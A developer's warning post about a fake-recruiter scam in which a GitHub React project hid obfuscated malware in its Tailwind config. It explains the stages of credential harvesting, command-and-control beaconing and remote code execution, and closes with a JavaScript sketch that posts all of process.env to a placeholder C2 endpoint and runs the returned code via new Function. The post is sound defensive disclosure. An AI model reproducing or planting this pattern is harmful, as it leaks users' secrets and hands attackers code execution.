On the past day a CEO of a person reached out to me on a LinkedIn private message. He wanted to know if i am available for a work for his new self-backed startup in the field of Blockchain. He asked me to review a React project hosted on GitHub and then get back to him with a feedback. I have accepted his offer and we scheduled an online meeting to talk things out. While I'm reviewing the code, without running it, I have noticed that an axios package is installed with an unknown version, that lead me to think something is fishy. after a deep check of the project I have found a malicious code residing in a Tailwind config JS file, while I'm sending back my review to the guy, it appears that the account was already gone and I cannot longer reach to him.

Before all of that, I have made a research as usual on the person and the company, appears that the fake account had some good reputation which led me to think its legit.

I wanted to share this personal case and warn others, here is a detailed explanation on this attack.

How the Attack Works The malicious payload relies on heavy JavaScript obfuscation (string rotation, RC4/Base64 encoding, and dynamic function invocation) to evade standard automated linter and static security checks.

Once initialized, it executes a three-stage attack:

Environment Harvesting: It scrapes process.env to gather local system data, exposed secrets, host metadata, and cloud provider credentials.

C2 Beaconing with Anti-Analysis: It sends the harvested environment payload to a Command & Control (C2) endpoint via axios using custom authentication headers (x-secret-header). The code includes anti-tampering runtime checks (toString() regex checks) to detect if it's running inside a debugger or sandbox.

Remote Code Execution (RCE): If the C2 server validates the payload, it sends back a dynamic string payload. The script uses new Function(...) or eval() to execute this remote code directly in memory on your host machine.

JavaScript
// High-level conceptual flow of the obfuscated payload:
import axios from 'axios';

async function executeStealthPayload() {
  try {
    // 1. Exfiltrate environment variables
    const environmentData = { ...process.env };

    // 2. Transmit to C2 with custom headers
    const response = await axios.post('https://[C2_ENDPOINT]', environmentData, {
      headers: { 'x-secret-header': 'AUTHENTICATION_KEY' }
    });

    // 3. Dynamic RCE
    const remotePayload = response.data;
    const execute = new Function(remotePayload);
    execute();
  } catch (err) {
    // Silent failure to avoid raising alarms
  }
}